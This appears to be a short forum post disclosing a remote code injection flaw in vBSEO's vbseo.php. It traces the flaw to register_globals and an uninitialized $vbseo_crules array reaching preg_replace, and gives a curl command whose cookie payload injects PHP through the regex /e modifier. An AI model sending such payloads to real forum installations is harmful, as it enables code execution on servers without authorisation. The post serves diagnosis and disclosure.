Same problem, so I traced it down.
register_globals + uninitialized $vbseo_crules being passed to preg_replace in vbseo.php.

Quick test:
Code:
curl -b 'vbseo_crules%5B%2C%2Ce%5D=die%28vulnerable%29'
...